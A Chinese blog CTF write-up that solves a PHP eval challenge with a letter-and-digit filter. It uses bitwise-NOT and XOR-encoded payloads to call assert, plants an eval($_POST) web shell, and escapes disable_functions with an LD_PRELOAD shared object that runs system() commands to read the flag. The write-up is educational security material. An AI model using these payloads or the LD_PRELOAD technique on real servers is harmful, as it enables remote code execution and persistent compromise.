php-取反绕过


一、题目源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

?>

源码就是简单的eval代码执行,但是过滤了所有的大小写字母和数字

二、绕过(本文重点)

利用url编码并取反进行绕过。因为只进行url编码的话,浏览器会自动进行解码,取反(反码,而不是倒序)之后,就会变成不可见字符,从而绕过对大小写字母和数字的检测。

2.1 exp

<?php
$a = 'assert';
$b =urlencode(~$a);   #~$a取反(反码)之后是不可见字符,所以不能直接打印出来
echo $b;
?>
    
输出%9E%8C%8C%9A%8D%8B,即为phpinfo进行取反之后的url编码

2.2 payload

/?code=(~%9E%8C%8C%9A%8D%8B)();    #再取反回来变成phpinfo

三、解题

image-20250507141004764

执行上面的payload之后在phpinfo信息中看到过滤了这么多函数,但是没有过滤assert函数。

利用assert函数进行代码执行 assert==eval

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
?>

    
相当于最后要执行的是  assert(eval($_POST[test]))   #要在assert里面再套一个eval是因为php版本问题不能直接构造<?php assert($_POST['a']);>

3.1 最终payload

http://3e7c1cc5-a4c0-4113-86b0-11a2e2b4dff4.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8B%9A%8C%8B%A2%D6%D6);

3.2 蚁剑连接

image-20250507151036910

3.3 读取flag

要读取flag,需要先执行readflag,但是因为禁用了很多函数,没有办法执行命令,这时候需要绕过disable_functions.

3.3.1 使用蚁剑插件绕过disabled-functions

image-20250507162912104

image-20250507164203630

进入终端后即可正常执行命令

image-20250507163413134

3.3.2 写.so文件,将LD_PRELOAD系统变量指向它

原理:在运行可执行文件时,会先执行LD_PRELOAD系统变量所指向的动态链接库(.so文件),那么我们写一个恶意的.so文件,并把LD_PRELOAD系统变量设为我们写的这个 恶意的.so文件。

  1. 创建getflag.c
//程序含义就是,读取flag并将其保存到/var/tmp/test.php文件中,并将原本的`LD_PRELOAD`系统变量删掉

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {     //读取flag
	system("cat /flag >> /var/tmp/test.php");
	system("tac /flag >> /var/tmp/test.php");
	system("more /flag >> /var/tmp/test.php");
	system("head -2 /flag >> /var/tmp/test.php");
	system("tail /flag >> /var/tmp/test.php");
	system("/readflag >> /var/tmp/test.php");
	
}   
int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }    //getenv 获取系统变量
    unsetenv("LD_PRELOAD");   //删除系统变量
    payload();
}

将其编译为getflag.so

gcc -shared -fPIC getflag.c -o getflag.so
  1. shell.php
# 创建系统变量LD_PRELOAD,将其指向我们写的getflag.so

<?php
putenv("LD_PRELOAD=/var/tmp/getflag.so");
mail("","","","");
error_log("",1,"","");
?>
  1. getflag.soshell.php上传到/var/tmp目录下

  2. 利用异或绕过过滤大小写字母和数字的方法去访问我们上传的shell.php文件

    /?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so
  3. 之后就可以看到生成了存储着flag的test.php

image-20250507171834990


文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录